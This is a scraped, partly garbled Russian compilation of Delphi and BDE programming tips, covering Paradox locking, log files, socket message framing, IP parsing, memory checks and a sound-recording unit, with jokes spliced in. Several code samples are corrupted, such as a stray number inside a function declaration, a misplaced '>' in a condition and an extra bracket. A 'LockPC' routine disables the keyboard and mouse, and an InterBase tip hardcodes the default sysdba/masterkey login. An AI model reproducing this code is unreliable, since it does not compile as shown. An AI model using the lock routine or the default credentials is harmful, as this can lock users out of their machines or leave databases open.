проблемы? (да) (нет) 23. У вас в доме есть электронные устройства, которые работают? (да) (нет) 24. Вы ударили хорошенько по вашему компьютеру? (да) (нет) 25. Ваш компьютер горит? (да) (пока еще нет) 26. Вы можете заняться чем-нибудь еще кроме заполнения данной формы? (да)
Эта проблема специфична для таблиц форматат Paradox, относится как 16 битным, так и 32 битным версиям BDE, и может встречается при выполнении одного из следующих условий: 1. Исполняемый файл приложения находится в той же папке, что и таблица. 2. Некорректно установлен (неустановлен) параметр Private Directory. 3. Открытая в TTable таблица Paradox участвует в запросах TQuery. 4. Параметр LOCAL SHARE установлен в True (BDE Administrator, закладка "System") Для решения проблемы необходимо выполнить следующие шаги: 1. В папке с исполняемым файлом приложения создайте три новых папки: TABLES, PRIV и NET (длина пути NetDir не должна привышать 31 символа). Поместите все таблицы приложения в папку Tables 2. Во время исполнения Ваше приложение должно устанавливать значения: Session.PrivateDir := ExtractFilePath(ParamStr(0)) + 'PRIV'; Session.NetFileDir := ExtractFilePath(ParamStr(0)) + 'NET'; 3. Убедитесь, что значение LOCAL SHARE установлено в False (BDE Administrator, закладка "System") Эти рекомендации позволяют избежать ошибки "Lock File Too Large". Источник Примечание: данные рекомендации справедливы для локальных баз, в случае сетевых баз и/или размещения программы на сетевом устройстве или при доступе из нескольких программ, можно поступись следующим образом: 1. Не размещайте базу и программу в одной папке, тем более, что программу желательно поместить в защищенную от записи папку. 2. Приватный каталог надо разместить в персональной папке, желательно для каждой запущенной копии приложения отдельный, подходящее место персональная папка TEMP\SessionID\ 3. Сетевой каталог NETDIR - выделить отдельную папку на сети исключительно только для этой цели и единную для всех приложений BDE

4. LOCAL SHARE - TRUE, можно попробовать и FALSE, если это не будет приводить к порче индексов.

Как заблокировать компьютер.

Статьи по Delphi (011)…
Звонок Юзера (Ю) в tech support фирмы (скажем Datacom) производящей блоки питания: Ю- Добрый день у меня из блока питания идет дым, что делать? Сотрудник (С) - Вам нужен новый блок питания. Ю - Нет не нужен, мне нужно что бы из старого не шел дым. С- Вы меня наверное не поняли но Вам нужен новый блок питания. Ю- Зачем мне новый, Вы просто скажите что нужно сделать что бы из старого дым не шел. С- Наберите в autoexec"e строку no smoke... Проходит 5 минут. Ю- Не работает. С- Значит Вам нужен новый блок питания. Ю- Нет мне нужно что бы из старого не шел дым. С- У Вас Винды стоят? Ю- Да. С - Ок. Звоните в tech support Microsoft..там все объяснят.. Через 15 минут... Тот же Юзер - Добрый день, мне нужен новый блок питания. С (удивленно) - Эээ... а можно поинтресоваться... что Вам сказали в Microsoft??? Ю- Оказывается все было очень просто: команда no smoke не подходит к моему блоку питания...
procedure LockPC;
var
  OldValue: LongBool;
begin
  SystemParametersInfo(97, Word(Bool), @OldValue, 0);
  WinExec(PChar('rundll32 mouse,disable'), SW_SHOW);
  WinExec(PChar('rundll32 keyboard,disable'), SW_SHOW);
end;

Фильтр посредством логического поля.

Автор: Matthew Augier В таблице имеется поле Customer:Boolean. Я хочу чтобы таблица показывала только Customer или только не-customer.

Установите ключ (вы должны иметь индекс для этого поля) одним из указанных способов:

tablex.SetRange([False],[False])  // для всех не-customer...
tablex.SetRange([True], [True]])  // для всех customer...
tablex.SetRange([False],[True])   // для всех записей...

Автоматический logon к локальной InterBase.

Статьи по Delphi (011)…

Используйте компонент TDatabase. В строках Params пропишите:
     USER NAME=sysdba
     PASSWORD=masterkey
Затем установите свойство компонента TDataBase LoginPrompt в False.

После этого, с помощью свойства DataBaseName, вы должны создать прикладной псевдоним (Alias) и связать TQuery/TTable с вашим компонентом TDataBase.

Ведение log файлов.

Автор: Separator WEB-сайт: http://delphibase.endimus.com

{ **** UBPFD *********** by delphibase.endimus.com ****
>> Ведение log файлов
С помощью этих процедур можно вести log.
procedure AddLog(LogString: String; LogFileName: string); -
добавляет одну строку к log файлу
procedure GetLog(Count: integer; Strings: TStrings; LogFileName: string); -
возвращает последние Count записей
Зависимости: Classes, SysUtils
Автор:       Separator, vilgelm@mail.kz, Алматы
Copyright:   Вильгельм Сергей
Дата:        8 января 2003 г.
***************************************************** }
procedure AddLog(LogString: string; LogFileName: string);
var
  F: TFileStream;
  PStr: PChar;
  LengthLogString: integer;
begin
  LengthLogString := Length(LogString) + 2;
  LogString := LogString + #13#10;
PStr := StrAlloc(LengthLogString + 1);
  StrPCopy(PStr, LogString);
  if FileExists(LogFileName) then
    F := TFileStream.Create(LogFileName, fmOpenWrite)
  else
    F := TFileStream.Create(LogFileName, fmCreate);
  F.Position := F.Size;
  F.Write(PStr^, LengthLogString);
  StrDispose(PStr);
  F.Free;
end;
procedure GetLog(Count: integer; Strings: TStrings; LogFileName: string);
var
  F: TFileStream;
  PStr: PChar;
  St: string;
  i, LenBlock, LenFirstString, LenTemp: integer;
  TempStrings: TStringList;
begin
  if FileExists(LogFileName) then
  begin
    LenBlock := 4000;
    TempStrings := TStringList.Create;
    F := TFileStream.Create(LogFileName, fmOpenRead);
    F.Position := F.Size;
    LenFirstString := 0;
    PStr := StrAlloc(LenBlock);
    repeat
      if F.Position - LenBlock < 0 then
      begin
        LenBlock := F.Position;
        StrDispose(PStr);
        PStr := StrAlloc(LenBlock);
      end;
      F.Position := F.Position - LenBlock;
      F.Read(PStr^, LenBlock);
      St := PStr;
      SetLength(St, LenBlock);
      TempStrings.Text := St;
      F.Position := F.Position - LenBlock;
      if F.Position <> 0 then
      begin
        LenFirstString := Length(TempStrings.Strings[0]);
        TempStrings.Delete(0)
      end
      else
        LenFirstString := 0;
      F.Position := F.Position + LenFirstString;
      for i := TempStrings.Count - 1 downto 0 do
      begin
        Strings.Add(TempStrings.Strings[i]);
        if Strings.Count = Count then
        begin
          F.Free;
          TempStrings.Free;
          StrDispose(PStr);
          exit
        end
      end;
    until F.Position = 0;
    StrDispose(PStr);
    F.Free;
    TempStrings.Free
  end
end;

Пример использования:

procedure TForm1.Button1Click(Sender: TObject);
begin
  AddLog(Edit1.Text);
end;
procedure TForm1.Button2Click(Sender: TObject);
begin
  ListBox1.Items.Clear;
  GetLog(50, ListBox1.Items);
end;

Ограничение log-файла по количеству строк.

Автор: VID WEB-сайт: http://delphibase.endimus.com

{ **** UBPFD *********** by delphibase.endimus.com ****
>> Ограничение log-файла, по количеству строк
Функция добавляет в файл LogFileName строку Log.
Если файл LogFileName не существует, он будет создан.
В параметре StrLimit указывается ограничение на
количество строк в лог-файле. Функция возвращает
число строк в лог-файле (LogFileName)
Зависимости: sysutils, classes, system
Автор:       VID, vidsnap@mail.ru, ICQ:132234868, Махачкала
Copyright:   VID
Дата:        11 июня 2002 г.
***************************************************** }
function WriteLog(LogFileName, Log: string; StrLimit: Integer): Integer;
var
  F: TextFile;
  function CheckLogFile: Integer;
  var
    I, Diff: Integer;
    FStr: TstringList;
  begin
    FStr := TStringList.Create;
    FStr.LoadFromFile(LogFileName);
    Diff := 0;
    if FStr.Count > StrLimit then
    begin
      Diff := FStr.Count - StrLimit;
      AssignFile(F, LogFileName);
      Rewrite(F);
      for I := Diff to FStr.Count - 1 do
        WriteLn(F, FStr[i]);
      CloseFile(F);
    end;
    Result := FStr.Count - Diff;
    FStr.Free;
  end;
begin
  Result := 0;
  if StrLimit < 1 then
    Exit;
  try
    AssignFile(F, LogFileName);
    if FileExists(LogFileName) then
      Append(f)
    else
      Rewrite(F);
    WriteLn(F, Log);
    Closefile(f);
  except Exit;
  end;
  Result := CheckLogFile;
end;

Сиротские Master-записи.

Автор: David G. Wachtel Как с помощью SQL найти записи таблицы, которых нет в другой таблице?

Вот пример:

with PeopleHiddenForm.PersonQuery.SQL do begin
Add('Select P.Last, P.First, P.Middle, P."Suffix", P.KeyNo, COUNT(PersMemL.PersonKeyNo)');
Add('From   Person P Left Outer Join ');
Add('       PersMemL PersMemL');
Add('On     ((P.KeyNo = PersMemL.PersonKeyNo))');
Add('Group By P.Last, P.First, P.Middle, P.Suffix, P.KeyNo');
Add('Having ((Count(PersmemL.PersonKeyNo) = 0))');
Данный код позволяет связаться с таблицей (PersMemL), содержащей количество ключей персональной записи и запись членства. Запрос возвращает имена персон, которые не имеют записей членства.

На практике этот способ оказывается очень эффективным, по крайней мере, с локальным SQL в таблицах Paradox.

Процедуры передачи и приема длинных блоков данных, с учетом фрагментации и возможной слепки пакетов, на компоненты TServerSocket и TClientSocket.

Автор: Subfire WEB-сайт: http://delphibase.endimus.com

{ **** UBPFD *********** by delphibase.endimus.com ****
>> Процедуры передачи и приема длинных блоков данных, с учетом фрагментации
и возможной слепки пакетов. На компоненты TServerSocket,TClientSocket ..SendText
Данная модуль содержит функции, которые позволяет принимать и отправлять длинные блоки данных.
В код встрена автоматическая обработка фрагментации и слепки пакетов.
Данные процелуры предназначены для передачи текстовых строк, и используют
методы SendText, ReciveText TCustomSocket и предназначены для использования
с компонентами TClientSocket, TServerSocket и других производных от TCustomSocket.
Данные решение отличается простотой использования, скоростью обработки и надежностью:
тестировалось посылкой блоков данных размером 1-16000, было обработано 15100 блоков данных.
Последующее сравнение отправленнх и полученных данных показало отсутвие каких либо
ошибок при передачи, сборки и фрагментации данных.
Перед использованием нужно приготовить пользовательскую процедуру, которая
будет вызываться каждый раз, когда получен очередной БЛОК данных. Данная процедура
должна иметь ОДИН входной параметр типа STRING:
procedure SomeUserProc(S:String);
begin
....
end;
Модуль содержит 3 функции, из которых пользьзователю нужны только 2
function SendLongText(Socket:TCustomWinSocket; S:String):boolean;
function ReceiveLongText(Socket:TCustomWinSocket;MySProc:TMySProc;SafeCalledStr :string = ''):boolean;
Фунция SendText служит для отправки пакетов. В качестве параметров ей пердается
объект TCustomWinSocket (например это ClientSocket.Socket) и собственно
отправляемя строка S (ShortString,AnsiString,WideString).
В случае успешной отправки функция возвращает true, иначе false.
Для обработки используйте GetLastError().
function ReceiveLongText(Socket:TCustomWinSocket;MySProc:TMySProc;SafeCalledStr :string = ''):boolean;
Используется для получения. Даннах фунция должна быть вызвана в событии On*Read компонента.
В качестве параметров необходимо передать TCustomWinSocket (например ServerSocket.Socket) и имя процедуры,
назначенной для обработки данных (например, ранее приготовленная SomeUserProc).
Третий параметр ЗАПОЛНЯТЬ НЕ СЛЕДУЕТ!!!
Процедура FlushBuffers является внутренней и очищает буфер приема,
и напрямую пользователем вызываться не должна.
Зависимости: ScktComp;
Автор:       Subfire, subfire@mail.ru, ICQ:55161852, Санкт-Петербург
Copyright:   Егоров Виктор aka Subfire
Дата:        2 октября 2002 г.
***************************************************** }
unit LongDataTransfer;
interface
uses ScktComp;
type
  TMySProc = procedure(const S: AnsiString);
function SendLongText(Socket: TCustomWinSocket; S: string): boolean;
function ReceiveLongText(Socket: TCustomWinSocket; MySProc: TMySProc;
  SafeCalledStr: string = ''): boolean;
var
  InputBuf: string;
  InputDataSize: LongWord;
  InputReceivedSize: LongWord;
implementation
function SendLongText(Socket: TCustomWinSocket; S: string): boolean;
var
  TextSize: integer;
  TSSig: string[4];
begin
  Result := True;
  try
    if not Socket.Connected then
      Exit;
    TextSize := Length(S);
    asm
        mov EAX,TextSize;
        mov dword ptr TSSig[1],EAX;
        mov byte ptr TSSig[0],4;
    end;
    S := string(TSSig + S);
    Socket.SendBuf(Pointer(S)^, Length(S));
  except Result := False;
  end;
end;
procedure FlushBuffers;
begin
  InputBuf := '';
  InputDataSize := 0;
  InputReceivedSize := 0;
end;
function ReceiveLongText(Socket: TCustomWinSocket; MySProc: TMySProc;
  SafeCalledStr: string = ''): boolean;
var
  S: string;
  RDSize: LongWord;
  F: string[4];
begin
  Result := True;
  try
    if SafeCalledStr = '' then
    begin
      RDSize := Socket.ReceiveLength;
      S := Socket.ReceiveText;
    end
    else
    begin
      S := SafeCalledStr;
      RDSize := length(S);
    end;
    if (Length(InputBuf) < 4) and (Length(InputBuf) > 0) then
    begin //Корректировка, в том случае
      S := InputBuf + S; //если фрагментирован сам заголовок
      FlushBuffers; //блока данных
    end;
    if InputBuf = '' then
    begin //Самый первый пакет;
      F := Copy(S, 0, 4);
      asm
                        mov EAX,dword ptr F[1];
                        mov InputDataSize,EAX;
      end;
      if InputDataSize = RDSize - 4 then
      begin //Один блок в пакете
        InputBuf := Copy(S, 5, RDSize - 4); //ни слепки, ни фрагментации нет.
        MySProc(InputBuf);
        FlushBuffers;
        Exit;
      end;
      if InputDataSize < RDSize - 4 then
      begin //Пакет слеплен.
        InputBuf := Copy(S, 5, InputDataSize);
        MySProc(InputBuf);
        Delete(S, 1, InputDataSize + 4);
        FlushBuffers;
        ReceiveLongText(Socket, MySProc, S);
        Exit;
      end;
      if InputDataSize > RDSize - 4 then
      begin //это ПЕРВЫЙ фрагмент
        InputBuf := Copy(S, 5, RDSize - 4); //большого пакета
        InputReceivedSize := RDSize - 4;
      end;
    end
    else
    begin //Буфер приема не пуст
      //InputBuf:=
      if RDSize + InputReceivedSize = InputDataSize then
      begin //Получили последний
        InputBuf := InputBuf + Copy(S, 0, RDSize); //фрагмент целиком
        MySProc(InputBuf); //в пакете, данных
        FlushBuffers; // в пакете больше нет
        Exit;
      end;
      if RDSize + InputReceivedSize < InputDataSize then // Получили
      begin //очередной
        InputBuf := InputBuf + Copy(S, 0, RDSize); //фрагмент
        InputReceivedSize := InputReceivedSize + RDSize;
        Exit;
      end;
      if RDSize + InputReceivedSize > InputDataSize then //Поледний фрагмент
      begin // но в пакете есть еще данные - слеплен.
        InputBuf := InputBuf + Copy(S, 0, InputDataSize - InputReceivedSize);
        MySProc(InputBuf);
        Delete(S, 1, InputDataSize - InputReceivedSize);
        FlushBuffers;
        ReceiveLongText(Socket, MySProc, S);
      end;
    end;
  except Result := False;
  end;
end;
end.

Пример использования:

...
procedure DataProcessing(S: string); //Эта процедура будет обрабатывать
begin //полученные данные, и
  ShowMessage(S); //автоматически вызывается каждый
end; //при получении нового блока данных.
//Процедура отправки - по нажатию кнопки отправляем через компонент
//ClientSocket три строки.
procedure TForm1.Button1Click(Sender: TObject);
begin
  SendLongText(ClientSocket.Socket, 'Первая строчка!');
  SendLongText(ClientSocket.Socket, 'Вторая строчка!');
  SendLongText(ClientSocket.Socket,
    'Третья строчка! Все три показаны по отдельности!!!');
end;
//Процедура ServerSocket OnClientRead содержит одну строчку
//вызова ReceiveLongText, передавая ей в качесте параметра
//имя вашей процедуры обработки.
procedure TForm1.ServerSocketClientRead(Sender: TObject;
  Socket: TCustomWinSocket);
begin
  ReceiveLongText(Socket, DataProcessing);
end;
// И все!!! Не правда ли просто? :) Если у вас есть какие-либо вопросы,
// комментарии, замечания, bug reports - пишите на subfire@mail.ri

Процедуры передачи и приема блоков данных, с учетом фрагментации и склейки пакетов, построено на TServerSocket и TClientSocket.

Автор: Camsonov Aleksandr WEB-сайт: http://delphibase.endimus.com

{ **** UBPFD *********** by delphibase.endimus.com ****
>> Процедуры передачи и приема блоков данных, с учетом фрагментации
и склейки пакетов. Построено на TServerSocket,TClientSocket ..SendText
Отправка:
пользователь создает строку 'Строка пользователя'
дорабатываем строку до '<19>Строка пользователя'
отправляем
Принимаем:
1 принятый кусок строки добавляем в конец буферной строки bstr;
2 вызываем прочедуру которая
a) удаляет (если есть ;|) часть bstr до '<'; //(это на случай ошибки,
правда такого явления я незамечал здесь но на всякий случай предусмотрел так спокойнее)
b) копирует участок '<число>' и достает из него число;
c) если длинна полученного буфера минус длинна участка '<число>' меньше bstr
то ниче не делаем и выходим из проседуры.
иначе отрезаем от bstr участок '<число>' копируем кусок bstr длинной 'число'
символов в ostr, удаляем этотже кусок из bstr.
d) передает ostr кому оно надо ибо ostr это то что послал пользоатель отдельным куском.
все. Пом очень просто алгоритм работает без отказно и ниче тут непопишеш.
Зависимости: ScktComp
Автор:       Camsonov Aleksandr, s002156@mail.ru, Tver
Copyright:   SELMAP_Group_Programmers/s002156Shurik
Дата:        2 октября 2002 г.
***************************************************** }
var
  Buffer: string = '';
{$R *.dfm}
function GetUserStringFromBuffer(var UserString: string): Boolean;
var
  i: Integer;
  bf: string;
begin
  Result := False;
  if Length(Buffer) > 0 then
    repeat
      if Length(Buffer) > 0 then
        if Buffer[1] <> '<' then
          Delete(Buffer, 1, 1);
    until (Buffer[1] = '<') or (Length(Buffer) <= 1);
  if Length(Buffer) < 3 then
    exit;
  i := 1;
  bf := '';
  repeat
    if Length(Buffer) >= i then
    begin
      inc(i);
      if Buffer[i] <> '>' then
        bf := bf + Buffer[i];
    end;
  until (Buffer[i] = '>') or (Length(Buffer) <= 1);
  if StrToInt(bf) + i > Length(Buffer) then
    exit
  else
  begin
    Delete(Buffer, 1, i);
    UserString := Copy(Buffer, 1, StrToInt(bf));
    Result := True;
    Delete(Buffer, 1, StrToInt(bf));
  end;
end;
procedure TForm1.Button1Click(Sender: TObject);
var
  S: string;
begin
  s := '<' + inttostr(length(Edit1.Text)) + '>' + Edit1.Text;
  ClientSocket1.Socket.SendText(S);
  //В качестве ТЕСТА отправляю еще несколько копий этой строки
  //для того чтобы все они ушли в одном пакете. (слипание)
  ClientSocket1.Socket.SendText(S);
  ClientSocket1.Socket.SendText(S);
  ClientSocket1.Socket.SendText(S);
end;
procedure TForm1.ServerSocket1ClientRead(Sender: TObject;
  Socket: TCustomWinSocket);
var
  GetResult: Boolean;
  UserStr: string;
begin
  Buffer := Buffer + Socket.ReceiveText;
  // в буфер приходят слипшиеся строки
  //перезапуск функции вытаскивания кусков до False (пока куски незакончатся)
  //если отправленный текст получен неполностью тоже возвращается False
  repeat
    GetResult := GetUserStringFromBuffer(UserStr);
    if GetResult then
      ShowMessage(UserStr); //передается отосланная строка
    //ЦЕЛАЯ И БЕЗ МУСОРА!
  until not GetResult;
end;

Писать длинные подсказки на StatusBare.

Статьи по Delphi (011)…

Этот пример показывает, как сделать, чтобы на StatusBar выводилась длинная подсказка при поднесении мыши к объекту.

public
  procedure DoShowHint(Sender: TObject);
...
procedure TForm1.DoShowHint(Sender: TObject);
begin
  StatusBar1.SimpleText := Application.Hint;
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
  Application.OnHint := DoShowHint;
  Button1.Hint := 'Button 1|It is button 1';
  Button2.Hint := 'Button 2|It is button 2';
  Button3.Hint := 'Button 3|It is button 3';
  Form1.ShowHint := true;
end;

Символ "|" позволяет разделять две подсказки: та, что появляется на желтом фоне, и та, что лежит в Application.Hint. Для работы с частями подсказки существуют функции GetShortHint, GetLongHint.

Как преобразовать длинный IP адрес в короткий адрес-порт.

Расшифровка аббривеатуры YAHOO(перевод): Еще один иерархически навязчивый оракул.

Некоторые старые internet протоколы (такие как FTP) посылают IP адреса и номера портов в шестизначном формате XXX.XXX.XXX.XXX.XX.XXX Следующий код позволяет преобразовать такой адрес к нормальному четырёхзначному IP адресу.

procedure LongIPToShort(aLongIPAddress: string;
out ShortIPAddress: string; out PortNumber: Integer);
var
  i, DotPos, tempPort: Integer;
  tempAddy, temp: string;
  TempStr: string;
begin
  tempAddy := '';
  tempStr := '';
  // Определяем, какой символ использует отправитель
  // в качестве разделителя длинного IP: , или .
  if (POS(',', aLongIPAddress) <> 0) then
    TempStr := ','
  else
    TempStr := '.';
  for I := 1 to 4 do
  begin
    DotPOS := POS(TempStr, aLongIPAddress);
    tempAddy := tempAddy + (Copy(aLongIPAddress, 1, (DotPos - 1)));
    if I <> 4 then
      TempADdy := TempAddy + '.';
    Delete(aLongIpAddress, 1, DotPos);
  end;
  DotPos := Pos(TempStr, aLongIpAddress);
  temp := Copy(aLongIpAddress, 1, (DotPos - 1));
  tempPort := (StrToInt(temp) * 256);
  Delete(aLongIpAddress, 1, DotPos);
  TempPort := tempPort + StrToInt(ALongIpAddress);
  ShortIPAddress := TempADdy;
  PortNumber := tempPort;
end;

Очень длинные меню.

Статьи по Delphi (011)…

Данный код изменяет количество пунктов меню в зависимости от текущего разрешения. Данная схема работает безукоризненно. В нижеприведенном коде mnuView - выводимое меню, HandleMenuClick - назначенный обработчик для события OnClick.

procedure TfrmMain.LoadViewMenu;
var
  itemNum: integer;
  mnu: TMenuItem;
  menuItemHeight: integer;
  itemsPerColumn: integer;
begin
  {удаляем все видимые пункты меню}
  while mnuView.Count > 0 do
  begin
    {метод Free удаляет пункт меню}
    mnuView.Items[0].Free;
  end;
  {находим высоту каждого пункта меню.
  Значение 2 получено в результате экспериментов}
  menuItemHeight := GetSystemMetrics(SM_CYMENU) + 2;
  {вычисляем количество пунктов в колонке меню}
  itemsPerColumn := screen.height div menuItemHeight;
  {создаем пункты меню}
  for itemNum := 0 to 99 do
  begin
    mnu := TMenuItem.Create(self);
    mnu.caption := 'Пункт ' + inttostr(itemNum);
    {при необходимости начинаем с новой колонки}
    if (itemNum mod itemsPerColumn = 0) and (itemNum > 0) then
    begin
      mnu.break := mbBarBreak;
    end;
    {назначаем обработчик события OnClick}
    mnu.OnClick := HandleMenuClick;
    mnuView.Add(mnu);
  end;
end;

Определить нажатие клавиши во время выполнения цикла.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

procedure TForm1.Button1Click(Sender: TObject);
 var
   LoopAborted: Boolean;
   i: Integer;
 begin
   LoopAborted := False;
   i := 0;
   repeat
     // Your Code... 
    Caption := IntToStr(i);
     Application.ProcessMessages;
     if GetKeyState(VK_Escape) and 128 = 128 then
     begin
       LoopAborted := True;
       Break;
     end;
     Inc(i);
   until i = 100000;
   if LoopAborted then
     ShowMessage('User has aborted the loop!');
 end;

Потеря памяти.

Автор: http://sunsb.dax.ru
16 мегабайт тому назад...

Если Ваша программа после завершенмя " съест" некоторое количество памяти, Windows тактично об этом умолчит, и ошибка останется не найденной. Поэтому я рекомендую на этапе разработки, в файл проекта вставлять модуль checkMem, который отследит некорректную работу с памятью. Вставлять его нужно первым, для обеспечения чистоты эксперимента. Текст модуля:

unit checkMem;                     
interface
implementation
uses sysUtils, dialogs;
var HPs : THeapStatus;
var HPe : THeapStatus;
var lost: integer;
initialization
   HPs := getHeapStatus;
finalization
   HPe := getHeapStatus;
   Lost:= HPe.TotalAllocated - HPs.TotalAllocated;
   if lost >  0 then begin
      beep;
      ShowMessage( format('lostMem: %d',[ lost ]) );
   end;
end.

Object Inspector. Потеря обработчиков событий компонентов фрейма.

Елена Филиппова Создаем фрейм, содержащий контролы, которые имеют собственные обработчики событий. При помещении на форму таких фреймов нужно быть с ними очень осторожными в design-time. Достаточно случайно "войти" в процедуру обработки такого события для компонента фрейма, чтобы IDE автоматически сформировала обработчик этого события для формы, а не для фрейма. После этого, при удалении этого обработчика, обработчик "задетого" события во фрейме полностью игнорируется. "Камушек" кроется в том, что IDE при удалении обработчика из ObjectInspector не вытирает упоминание о нем из файла *.dfm, а просто присваивает ему там nil! Для иллюстрации "камня" приводится тестовый проект. На форме лежат два совершенно одинаковых фрейма, исходный код и OI показывают, что эти фреймы абсолютно идентичны, но(!) один из них отрабатывает нажатие на кнопку, а второй полностью его игнорирует.

Источник беды виден в файле формы *.dfm (View as text) :

....
  inline frClick1: TfrClick
    Left = 5
    Top = 32
  end
  inline frClick2: TfrClick
    Left = 6
    Top = 128
    TabOrder = 1
    inherited BitBtn1: TBitBtn
      OnClick = nil
    end
  end
....
ТИПОВЫЕ РЕШЕНИЯ Стараться не щелкать без надобности по OI; Если такое случилось, проверить и откорректировать файл *.dfm , удаляя ненужное описание обработчика (в тестовом примере это строка "OnClick = nil") Скачать тест StoneTest_26.zip (1.8K) КОММЕНТАРИЙ: Еще один метод борьбы заключается в правильном способе удаления ненужного обработчика. Ведь нам нужно вообще удалить нечаянно созданный обработчик события с формы, не так ли? Очистка события в OI только отключает процедуру от компонента, не удаляя ее из кода модуля. И правильно делает - она могла быть задействована где-то еще. Если действовать "по всем правилам искусства", как рекомендуют классики, то надо очистить тело процедуры обработчика от кода между begin и end, а затем просто сохранить файл (F2 в классической раскладке). IDE Delphi при сохранении файла очищает форму от пустых обработчиков, и делает это корректно (все в точности возвращается назад).

Так что, может быть, это не глюк, а фича такая: "OnClick = nil" - способ отключить унаследованный от фрейма обработчик, не прибегая к коду.

Как уменьшить дату в Paradox.

В Local SQL для Paradox имеется ошибка, вместо вычитания происходит сложение даты с константой.

// Это добавляет единицу!
UPDATE SAMPLE.DB SET DT = DT - 1
// а данное выражение даст правильный результат:
UPDATE SAMPLE.DB SET DT = DT + (-1)

Источник: http://www.delphifaq.com/fq/q0048.shtml

Низкоуровневые процедуры обработки звука.

Программисту задают вопрос: - Сколько Вы знаете позиций для занятий любовью? - Он сверху, она снизу. Он снизу, она сверху. - И все? ...немного подумав - Оба сверху. Оба снизу.
Ниже приведен код, обрабатывающий аудиосигнал, получаемый со входа звуковой карты (SoundBlaster). Надеюсь он поможет разобраться вам с этой сложной темой.

Включенный в код модуль RECUNIT делает всю изнурительную работу по извлечению звука со входа звуковой карты.

var
  WaveRecorder: TWaveRecorder;
...
WaveRecorder := TwaveRecorder(2048, 4); // 4 размером 2048 байт
{ Устанавливает параметры дискретизации }
with WaveRecorder.pWavefmtEx do
begin
  wFormatTag := WAVE_FORMAT_PCM;
  nChannels := 1;
  nSamplesPerSec := 20000;
  wBitsPerSample := 16;
  nAvgBytesPerSec := nSamplesPerSec * (wBitsPerSample div 8) * nChannels;
end;
// Затем используем вариантную запись, поскольку я не знаю
// как получить адрес самого объекта
WaveRecorder.SetupRecord(@WaveRecorder);
// Начинаем запись
WaveRecorder.StartRecord;
...При каждом заполнении буфера вызывается
  процедура WaveRecorder.Processbuffer.
//  Заканчиваем запись
WaveRecorder.StopRecord;
WaveRecorder.Destroy;
{
Имя файла: RECUNIT.PAS  V 1.01
Создан: Авг 19 1996 в 21:56 на IBM ThinkPad
Ревизия #7: Авг 22 1997, 15:01 на IBM ThinkPad
-John Mertus
Данный модуль содержит необходимые процедуры для записи звука.
Версия 1.00 - первый релиз
1.01 - добавлен TWaveInGetErrorText
}
{-----------------Unit-RECUNIT---------------------John Mertus---Авг 96---}
unit RECUNIT;
{*************************************************************************}
interface
uses
  Windows, MMSystem, SysUtils, MSACM;
{  Ниже определен класс TWaveRecorder для обслуживания входа звуковой    }
{  карты. Ожидается, что новый класс будет производным от TWaveRecorder  }
{  и перекроет TWaveRecorder.ProcessBuffer. После начала записи данная   }
{  процедура вызывается каждый раз при наличии в буфере аудио-данных.    }
const
  MAX_BUFFERS = 8;
type
  PWaveRecorder = ^TWaveRecorder;
  TWaveRecorder = class(TObject)
    constructor Create(BfSize, TotalBuffers: Integer);
    destructor Destroy; override;
    procedure ProcessBuffer(uMsg: Word; P: Pointer; n: Integer);
      virtual;
  private
    fBufferSize: Integer; // Размер буфера
    BufIndex: Integer;
    fTotalBuffers: Integer;
    pWaveHeader: array[0..MAX_BUFFERS - 1] of PWAVEHDR;
    hWaveHeader: array[0..MAX_BUFFERS - 1] of THANDLE;
    hWaveBuffer: array[0..MAX_BUFFERS - 1] of THANDLE;
    hWaveFmtEx: THANDLE;
    dwByteDataSize: DWORD;
    dwTotalWaveSize: DWORD;
    RecordActive: Boolean;
    bDeviceOpen: Boolean;
    { Внутренние функции класса }
    function InitWaveHeaders: Boolean;
    function AllocPCMBuffers: Boolean;
    procedure FreePCMBuffers;
    function AllocWaveFormatEx: Boolean;
    procedure FreeWaveFormatEx;
    function AllocWaveHeaders: Boolean;
    procedure FreeWaveHeader;
    function AddNextBuffer: Boolean;
    procedure CloseWaveDeviceRecord;
  public
    { Public declarations }
    pWaveFmtEx: PWaveFormatEx;
    WaveBufSize: Integer; // Размер поля nBlockAlign
    InitWaveRecorder: Boolean;
    RecErrorMessage: string;
    QueuedBuffers,
      ProcessedBuffers: Integer;
    pWaveBuffer: array[0..MAX_BUFFERS - 1] of lpstr;
    WaveIn: HWAVEIN; { Дескриптор Wav-устройства }
    procedure StopRecord;
    function 477576218068 StartRecord: Boolean;
    Function477576218068 SetupRecord(P: PWaveRecorder): Boolean;
  end;
  {*************************************************************************}
implementation
{-------------TWaveInGetErrorText-----------John Mertus---14-Июнь--97--}
function TWaveInGetErrorText(iErr: Integer): string;
{ Выдает сообщения об ошибках WaveIn в формате Pascal                  }
{ iErr - номер ошибки                                                  }
{                                                                      }
{**********************************************************************}
var
  PlayInErrorMsgC: array[0..255] of Char;
begin
  waveInGetErrorText(iErr, PlayInErrorMsgC, 255);
  TWaveInGetErrorText := StrPas(PlayInErrorMsgC);
end;
{-------------InitWaveHeaders---------------John Mertus---14-Июнь--97--}
function TWaveRecorder.AllocWaveFormatEx: Boolean;
{ Распределяем формат большого размера, требуемый для инсталляции ACM-в}
{                                                                      }
{**********************************************************************}
var
  MaxFmtSize: UINT;
begin
  { maxFmtSize - сумма sizeof(WAVEFORMATEX) + pwavefmtex.cbSize }
  if (acmMetrics(0, ACM_METRIC_MAX_SIZE_FORMAT, maxFmtSize) <> 0) > then
  begin
    RecErrorMessage := 'Ошибка получения размера формата максимального сжатия';
    AllocWaveFormatEx := False;
    Exit;
  end;
  { распределяем структуру WAVEFMTEX }
  hWaveFmtEx := GlobalAlloc(GMEM_MOVEABLE, maxFmtSize);
  if (hWaveFmtEx = 0) then
  begin
    RecErrorMessage := 'Ошибка распределения памяти для структуры WaveFormatEx';
    AllocWaveFormatEx := False;
    Exit;
  end;
  pWaveFmtEx := PWaveFormatEx(GlobalLock(hWaveFmtEx));
  if (pWaveFmtEx = nil) then
  begin
    RecErrorMessage := 'Ошибка блокировки памяти WaveFormatEx';
    AllocWaveFormatEx := False;
    Exit;
  end;
  { инициализация формата в стандарте PCM }
  ZeroMemory(pwavefmtex, maxFmtSize);
  pwavefmtex.wFormatTag := WAVE_FORMAT_PCM;
  pwavefmtex.nChannels := 1;
  pwavefmtex.nSamplesPerSec := 20000;
  pwavefmtex.nBlockAlign := 1;
  pwavefmtex.wBitsPerSample := 16;
  pwavefmtex.nAvgBytesPerSec := pwavefmtex.nSamplesPerSec *
    (pwavefmtex.wBitsPerSample div 8) * pwavefmtex.nChannels;
